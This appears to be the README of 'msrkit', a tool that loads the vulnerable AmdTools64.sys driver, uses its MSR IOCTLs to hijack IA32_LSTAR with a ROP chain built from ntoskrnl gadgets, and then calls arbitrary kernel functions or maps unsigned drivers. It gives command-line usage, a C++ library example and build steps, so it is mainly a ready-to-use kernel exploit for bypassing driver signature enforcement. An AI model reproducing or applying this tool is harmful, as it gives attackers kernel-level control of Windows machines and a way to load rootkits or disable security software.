
A concept of using a ROP chain paired with a WRMSR primitive to call kernel functions and map unsigned drivers through BYOVD (AmdTools64.sys)
A tool for calling kernel functions and mapping drivers via a ROP chain through a wrmsr primitive in a vulnerable driver (AmdTools64.sys).
AmdTools64.sys via NtLoadDriver (falls back to PnP devnode + GUID-based device interface if the symlink is unavailable)IA32_LSTAR through the driver's MSR read IOCTL (0xFFF02804)ntoskrnl.exe for ROP gadgets (pop rcx; ret, mov cr4, rcx; ret, wbinvd; ret, etc.)IA32_LSTAR with the entry gadget, clears AC in FMASK, and issues syscallsysretqDriver mapping follows the same path: allocates kernel pool via ExAllocatePoolWithTag, copies the prepared PE image (relocations applied, imports resolved, security cookie patched), and calls the mapped entry point.
msrkit <driver.sys> call <ExportName> [args...]
msrkit <driver.sys> call_at <address> [args...]
msrkit <driver.sys> map <unsigned.sys> [entry args...]
msrkit <driver.sys> unmap <address>
call -- resolve and call a named ntoskrnl export. Arguments are parsed as integers (hex with 0x prefix). Prints the return value.call_at -- call an arbitrary kernel virtual address.map -- map an unsigned driver into nonpaged pool and call its entry point (ExAllocatePoolWithTag). Prints the mapped base address.unmap -- free a previously mapped driver at the given base address.#include "msrkit.h"
#pragma comment(lib, "msrkit.lib")
int main()
{
MSRK::INIT(L"AmdTools64.sys");
void* mptr = MSRK::CALL("ExAllocatePool2", 0x40ULL, 0x1000, 'Ruri');
std::cout << "Memory allocate: " << mptr << std::endl;
auto mptr23 = MSRK::MAP("driver.sys", 123, 456);
std::cout << "Driver mapped: " << std::hex << (uintptr_t)mptr23 << "\n";
// raw call
std::vector<uint64_t>args = { 0x40ULL, 1024, 'Tagz' };
void* mptr24 = MSRK::M_FUNCTION::CALL("ExAllocatePool2", args.data(), args.size());
std::cout << "raw memory alloc : " << mptr24 << std::endl;
std::vector<uint64_t>args2 = { 123, 456 };
auto mptr25 = MSRK::M_DRIVERMAP::MAP( "driver.sys", args2.data(), args2.size() );
MSRK::UNMAP(mptr23);
MSRK::CLEANUP();
}
Optionally pass an existing driver handle to skip loading:
MSRK::INIT("AmdTools64.sys", existing_handle);
Requires Visual Studio with MSVC (v143+) and MASM (ml64.exe).
cmake -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release
Output: build/Release/msrkit.exe (CLI) and msrkit.lib (static library).
CFG is disabled (/guard:cf-). Stack cookies (/GS) are enabled.